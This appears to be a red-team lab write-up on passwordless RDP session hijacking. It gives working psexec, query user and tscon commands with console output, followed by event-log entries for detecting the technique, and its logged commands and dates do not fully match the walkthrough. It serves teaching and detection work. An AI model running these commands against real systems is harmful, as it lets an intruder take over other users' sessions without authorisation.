




RDP Hijacking for Lateral Movement with tscon

This lab explores a technique that allows a SYSTEM account to move laterally through the network using RDP without the need for credentials.



Execution

It is possible by design to switch from one user's desktop session to another through the Task Manager (one of the ways).


Below shows that there are two users on the system and currently the administrator session is in active:



Let's switch to the `spotless` session - this requires knowing the user's password, which for this exercise is known, so lets enter it:




We are now reconnected to the `spotless` session:



Now this is where it gets interesting. It is possible to reconnect to a users session without knowing their password if you have `SYSTEM` level privileges on the system.

Let's elevate to `SYSTEM` using psexec (privilege escalation exploits, service creation or any other technique will also do):

```
psexec -s cmd
```




Enumerate available sessions on the host with `query user`:

```
C:\Windows\system32>query user
USERNAME      SESSIONNAME    ID  STATE  IDLE TIME  LOGON TIME
administrator  console        1   Active      8  8/12/2018 11:51 AM
spotless       console        2   Disc       8  8/12/2018 12:02 PM

C:\Windows\system32>
```

Switch to the `spotless` session without getting requested for a password by using the native windows binary `tscon.exe` that enables users to connect to other desktop sessions by specifying which session ID (`2` in this case for the `spotless` session) should be connected to which session (`console` in this case, where the active `administrator` session originates from):

```
cmd /k tscon 2 /dest:console
```



```
Windows PowerShell
Copyright (C) 2014 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator> cd C:\tools\PSTools
PS C:\tools\PSTools> .\PsExec.exe -s cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system


C:\Windows\system32>query
Invalid parameter(s)
QUERY { PROCESS | SESSION | TERMSERVER | USER }

C:\Windows\system32>query user
USERNAME      SESSIONNAME    ID  STATE  IDLE TIME  LOGON TIME
administrator  console        1   Active      8  8/12/2018 11:51 AM
spotless       console        2   Disc       8  8/12/2018 12:02 PM

C:\Windows\system32>cmd /k tscon 2 /dest:console

C:\Windows\system32>
```

Immediately after that, we are presented with the desktop session for `spotless` :



Observations

Looking at the logs, `tscon.exe` being executed as a `SYSTEM` user is something you may want to investigate further to make sure this is not a lateral movement attempt:

Time	task	event_data.LogonType	event_data.CommandLine	user.name	event_id	process_id	event_data.TargetLogonId	event_data.SessionName	event_data.SubjectLogonId	event_data.LogonId
August 12th 2024, 12:17:49.952	Other Logon/Logoff Events	-	-	-	4,778	572	-	Console	-	0x00000000
August 12th 2024, 12:17:49.883	Process Create (System ProcessCreate)	-	tscon /? /dest:console	SYSTEM	5	5,872	-	-	-	-
August 12th 2024, 12:17:49.889	Other Logon/Logoff Events	-	-	-	4,779	572	-	Console	-	0x00000000
August 12th 2024, 12:17:49.845	Process Create (System ProcessCreate)	-	cmd /k tscon /? /dest:console	SYSTEM	5	5,872	-	-	-	-

Also, note how `event_data.LogonID` and `event_ids` 4778 (logon) and 4779 (logoff) events can be used to figure out which desktop sessions got disconnected/reconnected:


#	event_id	4,779												
t	host.name	dc-mantvydas												
t	keywords	Audit Success												
t	level	Information												
t	log_name	Security												
t	message	<p>A session was disconnected from a window Station.</p> <p>Subject:</p> <table><tr><td>Account Name:</td><td>administrator</td></tr><tr><td>Account Domain:</td><td>OFFENSE</td></tr><tr><td>Logon ID:</td><td>0x2D3EC</td></tr></table> <p>Session:</p> <table><tr><td>Session Name:</td><td>Console</td></tr></table> <p>Additional Information:</p> <table><tr><td>Client Name:</td><td>Unknown</td></tr><tr><td>Client Address:</td><td>LOCAL</td></tr></table> <p>This event is generated when a user disconnects from an existing Terminal Services session, or when a user switches away from an existing desktop using Fast User Switching.</p>	Account Name:	administrator	Account Domain:	OFFENSE	Logon ID:	0x2D3EC	Session Name:	Console	Client Name:	Unknown	Client Address:	LOCAL
Account Name:	administrator													
Account Domain:	OFFENSE													
Logon ID:	0x2D3EC													
Session Name:	Console													
Client Name:	Unknown													
Client Address:	LOCAL													

Administrator session disconnected

#	event_id	4,778												
t	host.name	dc-mantvydas												
t	keywords	Audit Success												
t	level	Information												
t	log_name	Security												
t	message	<p>A session was reconnected to a Window Station.</p> <p>Subject:</p> <table><tr><td>Account Name:</td><td>spotless</td></tr><tr><td>Account Domain:</td><td>OFFENSE</td></tr><tr><td>Logon ID:</td><td>0x63CCC</td></tr></table> <p>Session:</p> <table><tr><td>Session Name:</td><td>Console</td></tr></table> <p>Additional Information:</p> <table><tr><td>Client Name:</td><td>Unknown</td></tr><tr><td>Client Address:</td><td>LOCAL</td></tr></table> <p>This event is generated when a user reconnects to an existing Terminal Services session, or when a user switches to an existing desktop using Fast User Switching.</p>	Account Name:	spotless	Account Domain:	OFFENSE	Logon ID:	0x63CCC	Session Name:	Console	Client Name:	Unknown	Client Address:	LOCAL
Account Name:	spotless													
Account Domain:	OFFENSE													
Logon ID:	0x63CCC													
Session Name:	Console													
Client Name:	Unknown													
Client Address:	LOCAL													

Spotless session reconnected (hijacked)

Just reinforcing the above - note the usernames and logon session IDs:



References



Vol de session RDP

Blog de Gentil Kiwi



Passwordless RDP Session Hijacking Feature All Windows versions



Windows Security Log Event ID 4778 - A session was reconnected to a Window Station



tscon

docsmsft



Previous

WMI for Lateral Movement

Next

Shared Webroot



Last updated 6 years ago